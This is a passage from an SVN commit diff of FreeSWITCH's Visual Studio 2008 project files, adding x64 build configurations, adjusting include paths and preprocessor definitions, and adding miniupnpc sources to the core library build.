+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="..\winlibs.vsprops"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;$(InputDir)include&quot;;&quot;$(InputDir)..\libs\include&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/FreeSwitch.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="$(OutDir)"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/FreeSwitchConsole.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="2"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -150,7 +235,7 @@
 				SubSystem="1"
 				OptimizeReferences="2"
 				EnableCOMDATFolding="2"
-				RandomizedBaseAddress="1"
+				RandomizedBaseAddress="2"
 				DataExecutionPrevention="0"
 				TargetMachine="1"
 			/>
@@ -176,6 +261,86 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="..\winlibs.vsprops"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)include&quot;;&quot;$(InputDir)..\libs\include&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/FreeSwitch.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="$(OutDir)"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/FreeSwitchConsole.pdb"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="2"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/w32/Library


Name: svn:ignore
   - Debug
Release
*.user
lastversion
svnversion.exe
tmpVersion.Bat
*.dll
fs_svnversion.exe
   + Debug
Release
*.user
lastversion
svnversion.exe
tmpVersion.Bat
*.dll
fs_svnversion.exe
*.obj
x64

Modified: freeswitch/branches/seven/w32/Library/FreeSwitchCore.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/w32/Library/FreeSwitchCore.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/w32/Library/FreeSwitchCore.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -44,8 +47,8 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libresample\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;PCRE_STATIC"
+				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu;..\..\libs\speex\include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;PCRE_STATIC;STATICLIB"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -57,7 +60,7 @@
 				WarnAsError="true"
 				DebugInformationFormat="3"
 				ForcedIncludeFiles=""
-				EnablePREfast="true"
+				EnablePREfast="false"
 			/>
 			<Tool
 				Name="VCManagedResourceCompilerTool"
@@ -72,11 +75,11 @@
 				Name="VCLinkerTool"
 				LinkLibraryDependencies="true"
 				OutputFile="$(SolutionDir)$(ConfigurationName)/FreeSwitch.dll"
-				LinkIncremental="1"
+				LinkIncremental="2"
 				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\libs\apr\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\sqlite\$(OutDir) DLL&quot;;&quot;$(InputDir)..\..\libs\apr-util\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\apr-iconv\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\libresample\win&quot;;&quot;$(InputDir)..\..\libs\srtp\$(OutDir)&quot;"
 				AddModuleNamesToAssembly=""
 				GenerateDebugInformation="true"
-				ProgramDatabaseFile="$(SolutionDir)$(OutDir)/FreeSwitch.pdb"
+				ProgramDatabaseFile="$(OutDir)/FreeSwitch.pdb"
 				SubSystem="2"
 				OptimizeReferences="0"
 				EnableCOMDATFolding="0"
@@ -109,6 +112,99 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\winlibs.vsprops"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu;..\..\libs\speex\include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;PCRE_STATIC;STATICLIB"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="2"
+				PrecompiledHeaderThrough="switch.h"
+				PrecompiledHeaderFile="$(IntDir)\$(TargetName).pch"
+				BrowseInformation="0"
+				WarningLevel="4"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+				ForcedIncludeFiles=""
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkLibraryDependencies="true"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/FreeSwitch.dll"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\libs\apr\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\sqlite\$(OutDir) DLL&quot;;&quot;$(InputDir)..\..\libs\apr-util\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\apr-iconv\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\libresample\win&quot;;&quot;$(InputDir)..\..\libs\srtp\$(OutDir)&quot;"
+				AddModuleNamesToAssembly=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/FreeSwitch.pdb"
+				SubSystem="2"
+				OptimizeReferences="0"
+				EnableCOMDATFolding="0"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(OutDir)/FreeSwitchCore.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="if not exist &quot;$(SolutionDir)$(OutDir)\conf&quot; xcopy &quot;$(SolutionDir)conf\*.*&quot; &quot;$(SolutionDir)$(OutDir)\conf\&quot; /C /D /Y /S&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\db&quot; md  &quot;$(SolutionDir)$(OutDir)\db&quot;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\log&quot; md  &quot;$(SolutionDir)$(OutDir)\log&quot;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\htdocs&quot; md  &quot;$(SolutionDir)$(OutDir)\htdocs&quot;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\htdocs&quot; xcopy &quot;$(SolutionDir)htdocs\*.*&quot; &quot;$(SolutionDir)$(OutDir)\htdocs\&quot; /C /D /Y /S&#x0D;&#x0A;&#x0D;&#x0A;"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -136,8 +232,8 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libresample\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;CRASH_PROT;PCRE_STATIC"
+				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu;..\..\libs\speex\include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;STATICLIB;CRASH_PROT;PCRE_STATIC"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="2"
 				PrecompiledHeaderThrough="switch.h"
@@ -146,6 +242,7 @@
 				WarningLevel="4"
 				WarnAsError="true"
 				DebugInformationFormat="3"
+				EnablePREfast="false"
 			/>
 			<Tool
 				Name="VCManagedResourceCompilerTool"
@@ -195,6 +292,95 @@
 				CommandLine="if not exist &quot;$(SolutionDir)$(OutDir)\conf&quot; xcopy &quot;$(SolutionDir)conf\*.*&quot; &quot;$(SolutionDir)$(OutDir)\conf\&quot; /C /D /Y /S&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\db&quot; md  &quot;$(SolutionDir)$(OutDir)\db&quot;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\log&quot; md  &quot;$(SolutionDir)$(OutDir)\log&quot;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\htdocs&quot; md  &quot;$(SolutionDir)$(OutDir)\htdocs&quot;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(OutDir)\htdocs&quot; xcopy &quot;$(SolutionDir)htdocs\*.*&quot; &quot;$(SolutionDir)$(OutDir)\htdocs\&quot; /C /D /Y /S&#x0D;&#x0A;&#x0D;&#x0A;"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\winlibs.vsprops"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu;..\..\libs\speex\include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;STATICLIB;CRASH_PROT;PCRE_STATIC"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="2"
+				PrecompiledHeaderThrough="switch.h"
+				PrecompiledHeaderFile="$(IntDir)\$(TargetName).pch"
+				BrowseInformation="0"
+				WarningLevel="4"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkLibraryDependencies="true"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/FreeSwitch.dll"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\libs\apr\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\sqlite\$(OutDir) DLL&quot;;&quot;$(InputDir)..\..\libs\apr-util\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\apr-iconv\$(OutDir)&quot;;&quot;$(InputDir)..\..\libs\libresample\win&quot;;&quot;$(InputDir)..\..\libs\srtp\$(OutDir)&quot;"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/FreeSwitchCore.pdb"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(OutDir)/FreeSwitchCore.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="if not exist &quot;$(OutDir)\conf&quot; xcopy &quot;$(SolutionDir)conf\*.*&quot; &quot;$(SolutionDir)$(OutDir)\conf\&quot; /C /D /Y /S&#x0D;&#x0A;if not exist &quot;$(OutDir)\db&quot; md  &quot;$(SolutionDir)$(OutDir)\db&quot;&#x0D;&#x0A;if not exist &quot;$(OutDir)\log&quot; md  &quot;$(SolutionDir)$(OutDir)\log&quot;&#x0D;&#x0A;if not exist &quot;$(OutDir)\htdocs&quot; md  &quot;$(SolutionDir)$(OutDir)\htdocs&quot;&#x0D;&#x0A;if not exist &quot;$(OutDir)\htdocs&quot; xcopy &quot;$(SolutionDir)htdocs\*.*&quot; &quot;$(SolutionDir)$(OutDir)\htdocs\&quot; /C /D /Y /S&#x0D;&#x0A;&#x0D;&#x0A;"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -216,6 +402,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -223,6 +417,14 @@
 						UsePrecompiledHeader="0"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\src\inet_pton.c"
@@ -236,6 +438,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -243,6 +453,14 @@
 						UsePrecompiledHeader="0"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\libs\stfu\stfu.c"
@@ -258,6 +476,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+						PrecompiledHeaderThrough=""
+						PrecompiledHeaderFile=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -267,6 +495,16 @@
 						PrecompiledHeaderFile=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+						PrecompiledHeaderThrough=""
+						PrecompiledHeaderFile=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\src\switch_apr.c"
@@ -284,6 +522,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="1"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -291,6 +537,14 @@
 						UsePrecompiledHeader="1"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="1"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\src\switch_caller.c"
@@ -371,6 +625,14 @@
 						DisableSpecificWarnings="6385"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						DisableSpecificWarnings="6385"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\src\switch_core_speech.c"
@@ -400,6 +662,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -407,6 +677,14 @@
 						UsePrecompiledHeader="0"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="0"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\src\switch_dso.c"
@@ -435,6 +713,22 @@
 			<File
 				RelativePath="..\..\src\switch_ivr_originate.c"
 				>
+				<FileConfiguration
+					Name="Debug|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalOptions="/analyze:stacksize17000"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalOptions="/analyze:stacksize17000"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\src\switch_ivr_play_say.c"
@@ -449,6 +743,42 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\src\switch_nat.c"
+				>
+				<FileConfiguration
+					Name="Debug|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						DisableSpecificWarnings="4389;4127"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						DisableSpecificWarnings="4389;4127"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						DisableSpecificWarnings="4389;4127"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						DisableSpecificWarnings="4389;4127"
+					/>
+				</FileConfiguration>
+			</File>
+			<File
 				RelativePath="..\..\src\switch_odbc.c"
 				>
 			</File>
@@ -487,27 +817,543 @@
 			<File
 				RelativePath="..\..\src\switch_xml.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
+			</File>
+			<File
+				RelativePath="..\..\src\switch_xml_config.c"
+				>
+			</File>
+			<Filter
+				Name="miniupnpc"
+				>
+				<File
+					RelativePath="..\..\libs\miniupnpc\declspec.h"
 					>
-					<Tool
-						Name="VCCLCompilerTool"
-						UsePrecompiledHeader="0"
-						PrecompiledHeaderThrough=""
-						PrecompiledHeaderFile=""
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\igd_desc_parse.c"
 					>
-					<Tool
-						Name="VCCLCompilerTool"
-						UsePrecompiledHeader="0"
-						PrecompiledHeaderThrough=""
-						PrecompiledHeaderFile=""
-					/>
-				</FileConfiguration>
-			</File>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\minisoap.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\minissdpc.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\miniupnpc.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127;4389;4706"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127;4389;4706"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127;4389;4706"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
